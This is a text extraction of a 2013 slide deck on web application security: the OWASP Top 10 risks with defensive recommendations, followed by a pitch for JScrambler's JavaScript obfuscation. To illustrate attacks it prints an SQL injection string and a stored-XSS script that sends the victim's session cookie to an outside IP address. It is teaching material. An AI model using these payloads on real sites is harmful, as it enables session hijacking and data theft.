Protecting the code of Web Applications

excitingwonderlakeInternet and Web Development

Dec 13, 2013 (4 years and 19 days ago)

116 views

Pedro Fortuna

Co
-
founder and CTO

Protecting the code of Web Applications

ISEP, June 19th 2013

2

Web Application
Security

JScrambler

JavaScript
Obfuscation

Agenda


+
web

NEXT

Web Application Security

4

Where things went wrong?

Web
Browser

Web
Server

GET /index.html

static text

Content
delivery
system

5

Where things went wrong?

Web
Browser

Web
Server

GET /index.html

static text

Content
delivery
system

Web
Browser

Web
Server

GET /form.php?id=2&name=pedro%20fortuna

dynamically generated response

Application
delivery
system

DB

6


Users can submit arbitrary data to the server


This includes all non
-
obvious sources of data that can be used by
the application (cookies, HTTP headers)


Data is mixed with all sorts of code (HTML, JavaScript, CSS, SQL)


Complex to filter, escape and output
-
encode data

Where things went wrong?

"
uma

frase

aleatória
"

&
quot;
uma

frase

aleat
ó
ria
&quot
;

HTML escaping

<?PHP

$place
=
'Peter's Pizza
';

print
$place;

?>

DB

<?PHP

$place
=
'Peter
\
's Pizza
';

print
$place;

?>

DB

PHP string escaping

7

OWASP Top 10


2010 edition

http://www.owasp.org/index.php/Top_10

8

A1
-

Injection


Tricking an application into including unintended commands in the data sent to an
interpreter

Injection means…


Take strings and interpret them as commands


SQL, OS Shell, LDAP,
XPath
, etc…

Interpreters…


Many applications still susceptible


Even though it’s usually very simple to avoid

SQL injection is still quite common


Usually severe. Entire database can usually be read or modified


May also allow full database schema, or account access, or even OS level access

Typical Impact

9

SQL Injection
-

Illustrated

Firewall

Hardened OS

Web Server

App Server

Firewall

Databases

Legacy Systems

Web Services

Directories

Human Resrcs

Billing

Custom Code

APPLICATION

ATTACK

Network Layer

Application Layer

Accounts

Finance

Administration

Transactions

Communication

Knowledge Mgmt

E
-
Commerce

Bus. Functions

HTTP
request


SQL
query


DB
Table





HTTP
respons
e





"SELECT * FROM
accounts WHERE
acct=‘
’ OR 1=1
-
-
’"

1. Application presents a form to
the attacker

2. Attacker sends an attack in the
form data

3. Application forwards attack to
the database in a SQL query

Account Summary


Acct:5424
-
6066
-
2134
-
4334

Acct:4128
-
7574
-
3921
-
0192

Acct:5424
-
9383
-
2039
-
4029

Acct:4128
-
0004
-
1234
-
0293

4. Database runs query containing
attack and sends encrypted
results back to application

5. Application decrypts data as
normal and sends results to the
user

Account:


SKU:

Account:


SKU:

10


Recommendations

1.
Avoid the interpreter entirely, or

2.
Use an interface that supports bind variables (e.g., prepared statements, or stored
procedures),


Bind variables allow the interpreter to distinguish between code and data

3.
Encode all user input before passing it to the interpreter


Always perform ‘white
list’

input validation on all user supplied input


Always minimize database privileges to reduce the impact of a flaw



References


For more details, read
http
://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet



A1


Avoiding Injection Flaws

11

A2


Cross
-
Site Scripting (XSS)


Raw data from attacker is sent to an innocent user’s browser

Occurs any time…


Stored in database


Reflected from web input (form field, hidden field, URL, etc…)


Sent directly into rich JavaScript client

Raw data…


Try this in your browser


javascript:alert
(
document.cookie
)

Virtually
every

web application has this problem


Steal user’s session, steal sensitive data, rewrite web page, redirect user to
phishing or malware site


Most Severe: Install XSS proxy which allows attacker to observe and direct all
user’s behavior on vulnerable site and force user to other sites

Typical Impact

12

Cross
-
Site
Scripting
(XSS) Illustrated

Application with
stored XSS
vulnerability

3

2

Attacker sets the trap


update my profile

Attacker enters a
malicious script into a
web page that stores the
data on the server

1

Victim views page


sees attacker profile

Script silently sends attacker Victim’s session cookie

Script runs inside
victim’s
browser with
full access to the DOM
and cookies

Custom Code

Accounts

Finance

Administration

Transactions

Communication

Knowledge
Mgmt

E
-
Commerce

Bus. Functions

Hello my name is Peter

<script>

XSSImage=new Image;

XSSImage.src
="http
://1.2.
3.4/
catcher?cookie
="+
docu
ment.cookie
);

</script>

13


Recommendations


Eliminate Flaw


Don’t include user supplied input in the output page


Defend Against the Flaw


Primary Recommendation:
Output encode all user supplied input

(Use OWASP’s ESAPI to
output encode:



http://www.owasp.org/index.php/ESAPI



Perform ‘white
list’

input validation on all user input to be included in page


For large chunks of user supplied HTML, use OWASP’s
AntiSamy

to sanitize this HTML to
make it safe



See:
http://www.owasp.org/index.php/AntiSamy


References


For how to output encode properly, read the new
http://www.owasp.org/index.php/XSS_(Cross
Site Scripting) Prevention Cheat Sheet


A2


Avoiding

XSS flaws

14

Safe Escaping Schemes in Various HTML Execution Contexts

CSS
Style Property Values

(e.g., .
pdiv

a:hover {color:
red; text
-
decoration:
underline
} )

JavaScript Data

(e.g., <script>
some
javascript

</script> )

HTML Attribute Values

(e.g., <input name='
person
' type='
TEXT
'
value='
defaultValue
'> )

HTML Element Content

(e.g., <div>
some text to display
</div> )

URI Attribute Values

(e.g., <a
href
="
javascript:toggle
('lesson')
" )

#4: All non
-
alphanumeric < 256


\
HH

ESAPI:
encodeForCSS
()

#3: All non
-
alphanumeric < 256


\
xHH

ESAPI:
encodeForJavaScript
()

#1: ( &, <, >, " )


&entity; ( ', / )


&#
xHH
;

ESAPI:
encodeForHTML
()

#2: All non
-
alphanumeric < 256


&#
xHH

ESAPI:
encodeForHTMLAttribute
()

#5: All non
-
alphanumeric < 256


%HH

ESAPI:
encodeForURL
()

Recommendation
: Only allow #1 and #2 and disallow all others

See:
www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

for more details

15

A3


Broken Authentication and Session Management


Means credentials have to go with every request


Should use SSL for everything requiring authentication

HTTP is a “stateless” protocol


SESSION ID used to track state since HTTP doesn’t


and it is just as good as credentials to an attacker


SESSION ID is typically exposed on the network, in browser, in logs, …

Session management flaws


Change my password, remember my password, forgot my password, secret
question, logout, email address, etc…

Beware the side
-
doors


User accounts compromised or user sessions hijacked

Typical Impact

16

A3


Broken
Authentication Illustrated

Custom Code

Accounts

Finance

Administration

Transactions

Communication

Knowledge
Mgmt

E
-
Commerce

Bus. Functions

1

User sends credentials

2

Site uses URL rewriting

(i.e., put session in URL)

3

User clicks on a link to
http://www.hacker.com

in a forum

www.foo.com?JSESSIONID=9FA1DB9EA
...

4

Hacker checks
referer

logs on
www.hacker.com

and finds user’s JSESSIONID

5

Hacker uses JSESSIONID and
takes over victim’s account

17


Verify your architecture


Authentication should be simple, centralized, and
standardized


Use the standard session id provided by your
framework (e.g. PHP
Zend
)


Be sure SSL protects both credentials and session id
at all times



Verify the implementation


Check
your SSL certificate


Examine all the authentication
-
related functions


Verify that logoff actually destroys the session


Make the session expire


Make the session unmovable (function(IP_ADDRESS))



Follow the guidance from


http://www.owasp.org/index.php/Authentication_Cheat_Sheet


A3


Avoiding Broken Authentication and Session Management

JS

NEXT

JScrambler

19

Who we are ?














Vision:
we believe that the
strongest approach to Web
Security should be to put the 1st
line of defense on the client
-
side


Mission:
to be a leader in Web
Application Protection
technology

Vision/Mission




Top
Web Security Team

30Y of combined experience












Being advised by Pereira Ventures
in its International Expansion

The Company

Leaders in JavaScript

Obfuscation since 2010











Started

in

late

2008


Following

the

vision

that

software

and

data

are

migrating

rapidly

to

the

web,

but

security

isn’t

evolving

at

the

same

pace
.


Innovative

Web

Security

Solutions

The Start











Top 100 European Startup
in 2009


In

the

European

Unlimited

Eurecan

European

Contest

Awards

20

Web

Traffic

Auditing

What do we do?

Security
Services

Web

Application
Security

JavaScript

Source

code

protection

Obfuscates

JS/HTML
5

WebApps

Protects

the

code

from

being

stolen,

inspected,

tampered

with

Enterprise

Web

Application

Protection

against

Man

int

the

Browser

and

other

security

attacks

21

What is the world’s most popular language ?

22

3+ Years Protecting Apps

Release History

+3 YEARS PROTECTING
WEB APPLICATIONS

2010
-
04

Beta version

2010
-
10

1.0 released

2012
-
06

2.0 released

2013
-
04

3.0 released

JS lines of code

120

MILLION
PROTECTED

106

Countries

5000

Clients

23

Customer

“JScrambler results look
promising”

ROVIO

JScrambler

Feedback

Customer

"We

are

trying

to

push

the

envelope

and

it’s

good

to

have

a

nimble

partner

that

is

aggressive

at

achieving

this”

RSA SECURITY

NEWS

“JScrambler

does

seem

to

offer

the

most

complete

solution
.

Out

of

the

box,

it

should

work

with

most

of

the

standard

libraries”

TECHCRUNCH

24

JavaScript

HTML5/JavaScript

Mobile Web Applications

Web Games

Obfuscation

JScrambler

JavaScript

Domain Lock

Expiration Date

Anti
-
debugging

Code

Execution

Control

JavaScript

Code

S
implification

Dead

Code

Removal

Compression


Optimization

State of the art Web Application
Protection

and Optimization

25

JScrambler

Obfuscation: The art of making code unreadable

26

JScrambler

Code Execution
Control

Expiration

Date

Anti

Debugging

Domain

Lock


27

NEXT

JavaScript Obfuscation

28

NEXT

We look forward for you contact and feedback

Questions

29

Contact Us

Porto

Headquarters

Edifício Central da
UPTEC

Rua Alfredo Allen, 455

4200
-
135 Porto,
Portugal

auditmark.com

Lisbon


Office

Rua da Prata 121 5º A
1100
-
415 Lisboa
Portugal

Pedro Fortuna

CTO



pedro.fortuna@auditmark.com

+351 917331552